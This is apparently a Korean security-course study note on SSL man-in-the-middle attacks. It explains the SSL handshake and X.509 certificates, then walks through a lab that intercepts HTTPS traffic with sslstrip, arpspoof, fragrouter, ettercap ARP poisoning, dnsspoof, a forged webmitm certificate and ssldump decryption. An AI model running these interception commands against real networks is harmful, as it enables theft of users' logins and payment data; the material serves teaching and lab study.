본문 바로가기

NCS/기술적보안구축

SSL MiTM 공격

1. SSL 동작과정 

 

2. SSL Handshaking 동작과정 

* 옵션 

Client Certificate Request 중요한게 아니면 안날아가고 서버에서 설정안하면 Request하지 않는다. 공개키로 세션키를 암호화 하고 세션키로 데이터를 암호화 시켜서 server 전달한다 

 


3. SSL MiTM Attack 

 

1) 취약점 : 암호화를 해서 보내지만 중간자공격으로 attacker 조작한다면 사용자의 정보를 받아올  있다 


2) 공격방법 

2. sslstrip 설치 

BackTrak sslstrip 압축을 풀고 설치 

tar xvfz sslstrip-0.x.tar.gz x 버전 

cd /sslstrip(압축푼곳) 

python setup.py install 

3. ARP spoof 사용하여 Victim packet 공격자에 우회 

arpspoof -t 10.10.10.1 10.10.10.254 

arpspoof -t 10.10.10.254 10.10.10.1 

4. fragrouter 이용한 ip fowarding 활성화 

fragrouter -B1 

5. packet Redirect 

공격자 pc에서 80번으로 들어오는 packet ssltrip에서 listening 하고있는 10000 포트로 redirect한다443번도 넣어줘도 된다 


6. ssltrip 실행 


7. 확인하기 


 

SSL ( Secure Socket Layer ) 

Netscape에서 만들었으며, Browser 통하여 로그인 인증 또는 제품 구매시 신용카드 입력등에 대한 보안 연결을 위해 사용 

  • SSL 443 포트 = 로그인 할때 보던 HTTPS 라는 것이다. 

  • 통신할때 x.509 이용한다. 

  • Hybrid방식으로 대칭키를 교환한다. 

 

 MITM 공격에 가장 취약하다. ( 서로간에 공개키 인증을 하지 못한다. ) 

서로 통신하고 싶은 정상적인 사용자사이에서 모든 패킷을  받아서 forwarding해준다. 

Attacker  B공개키 저장했다가. B라고 속이면서 자기의 공개키를 알려준다. 

A 통신하고 싶은 내용을 B에게 전해주지만 Attacker 공개키로 보냈기때문에 Attacker 바로 볼수 있다. 

다시 B에게 B 공개키로 A 내용을 forwarding 해주면 된다. 

 

공개키를 인증 하지 못하는 것이 문제점이라서 CA ( 인증기관 )  필요하다. 

우리가 사용하는 인증서 - x. 509 

  1. 인증서의 주체 

  2. 인증서 발급자 

  3. 유효기간 

  4. 버전 정보 

  5. 일련번호 

  6. 공개키 ( 인증기관의 공개키 ) 

  7. 서명 알고리즘 - Hash 알고리즘 

  8. 서명 ( 1~6 까지는 Hash알고리즘으로 값을 추출한 다음에 인증기관의 개인키로 암호화 ) 

서명은 CA Public 키로 풀수 있다. 

 

 개인키로 암호화된 것은 공개키로 풀수가 있고 , 공개키로 암호화 된것은 개인키로 풀수 있다. 

백트랙이 가짜 CA 하면서 Key 준다. 

 

 

실험 환경 구성 

Attacker  

Backtrack   192.168.44.11 

Victim 

Win XP  192.168.44.22 

Backtrack안의 http 서버를 정지 

 

Arp spoofing 으로 mitm 공격 

bt ~ #ettercap -T -M arp /192.168.44.2/ /192.168.44.22/  <<  XP default gw  target 사이에 mitm공격을 한다. 

 

Forwarding 시켜준다. 

bt ~ # sysctl net.ipv4.ip_forward=1 

Dns spoofing 공격 추가 

bt ~ #vi hosts 

 

bt ~ #dnsspoof -f hosts  << hosts 파일을 이용한 dnsspoof 

bt ~ #webmitm -d  << 가짜 인증키를 하나만든다. 

80  443 포트 지나가는 경우 중계를 하고 방금설정한 가짜키를 상대방에게 나눠주고 원래 데이터를 가로챈다. 

XP에서 

ipconfig /flushdns 

 

 

인증서는 재사용 , 날짜 지남,변조양도...되면 않되는데 이때 양도의 문제점 때문에 생김 

 

 

bt ~ #ssldump -d -k webmitm.crt -r ( 패킷캡쳐한 파일명 ) > (패킷캡쳐한 파일명 )